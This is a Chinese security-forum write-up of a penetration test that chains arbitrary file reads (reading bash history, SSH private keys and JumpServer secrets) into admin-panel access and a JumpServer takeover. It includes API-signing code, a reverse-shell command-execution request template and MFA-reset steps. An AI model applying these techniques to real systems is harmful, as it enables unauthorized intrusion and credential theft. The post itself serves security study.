问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
文件读取漏洞实战利用
渗透测试
实战场景下的两个任意文件读取漏洞利用。
Nginx配置文件利用 =========== 第一处文件读取,严格来讲是SSRF(CVE-2021-27905),不过java环境下的SSRF利用有限,端口也只开放了443 读取`/root/.bash_history` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-587fa874e3f21cbcd74519454f8e577521997aca.png) 翻历史命令发现这台主机上有tomcat和nginx,tomcat也没办法利用,于是把目光转向nginx ![image 1.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-1f74fa59ea3b2ee03f2c4649465466ad8cc24a68.png) 读取nginx配置文件,获取了多个URL路由信息,分别对应不同的接口或应用 其中有一个管理后台,通过XFF来过滤请求 ![image 2.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-7303899ff3011a17c9d08a21c21f5a21fb644db1.png) 添加XFF字段,访问到管理后台,弱口令拿下 ![551cfa3b-cf85-4a71-9dd9-a717621babcd.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-b24e95ee310b53b0797f3d64141008d39fb0d1a7.png) Jumpserver AccessKey利用 ====================== 第二个依旧是nginx的场景,多个域名解析到同一个IP,根据域名分发到不同的后端服务。 读取`/root/.bash_history`,历史命令比较多,能看出来是经常使用的,还有多个ssh的公私钥 ![image 3.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-d04a454d8d0487caed3e47bbee3820cad14e19b3.png) 拼接路径,拿到SSH公私钥 ![image 4.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-8b383a735f3c5a66bbab2d0d5b9dd379e37c0414.png) 读取`/root/.ssh/authorized_keys`可以发现获取到的公私钥与目标服务器的公钥匹配 ![image 5.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-8d179f106cf860a804ea43c6ab0dfd9b1162e0ba.png) 尝试SSH直接登陆。多地ping了一下发现不是CDN,对目标的IP全端口扫描,发现SSH开在一个高端口,但是很遗憾登不上。这个SSH是Nginx服务器的,并不是漏洞所在的服务器。 但是刚刚读`authorized_keys`和`history`的时候发现目标服务器部署了`jumpserver`,并且自身在`jumpserver`的管理范围内。 ![image 6.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-7117ac675b278f2d81ab129c48fb33411c251488.png) 查看收集到的资产,确实有一个jumpserver相关域名,解析IP与当前目标服务器为同一IP。现在就看能否获取`jumpserver`控制台权限。 读取jumpserver配置文件`/opt/jumpserver/config/config.txt`,可以获取一些敏感信息如数据库、redis密码,但是jumpserver是容器化部署,没办法直接连上。 除此之外就是`SECRET_KEY`和`BOOTSTRAP_TOKEN` ![image 7.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-be958aae0bf8ad2598493cf47028c17143cc4469.png) 看一下`jumpserver`官方文档中的说明 [参数说明 - JumpServer 文档](https://docs.jumpserver.org/zh/master/admin-guide/env/) ```php SECRET_KEY=**** # 用来加密解密的 KEY BOOTSTRAP_TOKEN=**** # koko/lion 用来向jms注册使用的 token ACCESS_KEY_FILE=data/keys/.access_key # ACCESS KEY 保存的地址, 默认注册后会保存到该文件中 ``` 获取之后可以通过脚本调用接口 ![image 8.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-d68abc7ea9208e9fd8bf61243f4adfa53aed770d.png) jumpserver在`jms_core`容器中提供了命令行工具用于管理员管理用户,可以修改密码、清除MFA,也就是说只要获取`jms_core`容器权限,就可以重置Web管理员密码 ![image 9.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-fa9520e4a2381980bbfaee871b36de3b9327855c.png) 看一下python示例,通过使用KeyID和SecretID对请求方法、URL、accept、date进行签名。 ```python import requests, datetime, json from httpsig.requests_auth import HTTPSignatureAuth def get_auth(KeyID, SecretID): signature_headers = ['(request-target)', 'accept', 'date'] auth = HTTPSignatureAuth(key_id=KeyID, secret=SecretID, algorithm='hmac-sha256', headers=signature_headers) return auth response = requests.get(url, auth=auth, headers=headers) ``` 也就是说,只要保持请求方法、URL、accept、date不变,签名是可以重用的,可以简单写个python脚本获取sign,将burp作为上级代理捕获数据包后再手动调试数据包 ```python JMS_URL = '' X_JMS_ORG = '' KEY_ID = '' SECRET_ID = '' headers = { 'Accept': 'application/json', 'X-JMS-ORG': X_JMS_ORG, 'Date': datetime.now(timezone.utc).strftime('%a, %d %b %Y %H:%M:%S GMT') } def get_auth(): signature_headers = ['(request-target)', 'accept', 'date'] auth = HTTPSignatureAuth(key_id=KEY_ID, secret=SECRET_ID, algorithm='hmac-sha256', headers=signature_headers) return auth def get_request(url): auth = get_auth() full_url = f"{JMS_URL}{url}" print(full_url) response = requests.get(full_url, auth=auth, headers=headers, verify=False) response = requests.post(full_url, auth=auth, headers=headers, data=None, verify=False) print(response.text) ``` 读取`jumpserver`的`accesskey` ![image 10.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-8ec5adefd728fd49def5c1717034b98a236a6747.png) 获取主机列表,这里可以读取`/etc/hostname`确认`jumpserver`的主机名,找到对应的主机id ```php GET /api/v1/assets/assets/?offset\=0&limit\=15&display\=1&draw\=1 ``` ![image 11.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-2e0c205b953f32abc422ca495e442ff0f8ee3feb.png) 反弹shell,返回包中包含执行结果的url `/api/v1/ops/celery/task//log/` ```php POST /api/v1/ops/command-executions/ HTTP/2 Host: User-Agent: python-requests/2.31.0 Accept: application/json Date: Content-Length: Content-Type: application/x-www-form-urlencoded Authorization: Signature hosts=&run_as=&command= ``` ![image 12.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-104e2c40f269a36cdc50dde4cf01226aa30274d9.png) 根据官方文档重置管理员密码,如果存在OTP同样可以通过manage.py进行重置。如果管理员开启了强制OTP,重置之后可以在登录后重新绑定。 ```bash user.mfa_level='0' user.otp_secret_key='' ``` ![%E8%AE%BF%E8%BE%BE_2024-08-13_10.07.14.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-6143eed9ebcd6350cc0544282d65ba493911bfc6.png) 最后以`admin`登录`jumpserver`控制台,接管堡垒机。 小结 == 文件读取漏洞在攻防场景下的影响比较有限,但是可以利用文件读取获取历史命令、私钥文件、配置文件等进一步攻击其他服务,继而获取权限或者数据。
发表于 2024-12-31 10:00:02
阅读 ( 1418 )
分类:
渗透测试
4 推荐
收藏
0 条评论
请先
登录
后评论
subjcw
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!